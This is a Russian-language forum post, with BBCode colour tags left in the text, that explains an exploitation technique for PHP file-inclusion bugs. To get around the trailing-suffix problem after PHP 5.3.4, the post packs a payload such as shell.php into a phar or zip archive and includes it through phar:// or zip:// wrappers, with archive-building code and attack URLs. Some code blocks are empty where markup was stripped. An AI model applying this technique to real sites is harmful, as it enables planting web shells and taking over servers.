Небольшое добавление к технике инклудов.
Начиная с PHP версии 5.3.4 стало проблемно работать с инклудами, у которых присутствует "хвост".
С другой стороны, в линейке 5.3, появилась штатная поддержка архивов
phar.
В случае RFI, появилась возможность не отрезать лишний хвост, а спрятать его внутри архива.
Пример:
in2.php
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
Создадим архив phar с файлом bla.gif
для создания нужно в php.ini установить: phar.readonly = Off
PHP код:
[COLOR="#000000"]//создадим архив in.phar
$p = new Phar('in.phar');
$p->setStub('[COLOR="#0000BB"][/COLOR]');
$p['bla.gif'] = '[COLOR="#0000BB"][/COLOR]';
//или
//$p['bla.gif'] = file_get_contents('shell.php');
[/COLOR]
Инклудим
http://localhost/in.php?pic=phar://in.phar/bla
Это может быть и zip или tar архив, конвертнем
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$p[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$p[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]convertToExecutable[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]Phar[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]ZIP[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR]
Инклудим
http://localhost/in.php?pic=phar://in.phar.zip/bla
Хвост может быть длинным, тогда в каталоге arc создаем нужную структуру файлов, например /tmp/arc/Bla/bla2/file.ext
и добавляем в архив
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]//вторым параметром можно указать регулярку для отбора файлов
//каталоги и файлы в архиве - чувствительны к регистру (даже для винды)
[/COLOR][COLOR="#0000BB"]$p[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]buildFromDirectory[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'/tmp/arc/'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'/.*/'[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR]
для родного формата phar, расширение не обязательно, или любое.
Для zip обязательна подстрока .zip (bla.zip, bla.zip.php и т.д.)
После аплоада получаются файлы без расширения, типа phpKuAoU3
Инклудим
Код:
http://localhost/in.php?pic=phar:///tmp/phpKuAoU3/bla
Можно грузить zip архив и использовать обертку zip:// (почти везде установлена, поддерживается много раньше phar://)
Код:
http://localhost/in.php?pic=zip:///tmp/phpKuAoU3%23bla
Способ не зависит от настроек
allow_url_fopen
allow_url_include
magic_quotes_gpc
а зависимостей две
- можем влиять на начало строки инклуда
- можем приготовить файл произвольного содержания, имя не важно.
Про zip:// подробнее можно посмотреть у Алексея Москвина (Positive Technologies).
PS
К архиву in.phar можно обратиться
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]include([/COLOR][COLOR="#DD0000"]'phar://in.phar'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#FF8000"]//или напрямую
[/COLOR][COLOR="#007700"]include([/COLOR][COLOR="#DD0000"]'in.phar'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#FF8000"]//а вот к файлу внутри архива, только через обертку
[/COLOR][COLOR="#007700"]include([/COLOR][COLOR="#DD0000"]'phar://in.phar/bla.gif'[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR]
Если найдется способ прямого обращения к файлу архива, будет решена проблема хвоста и в LFI.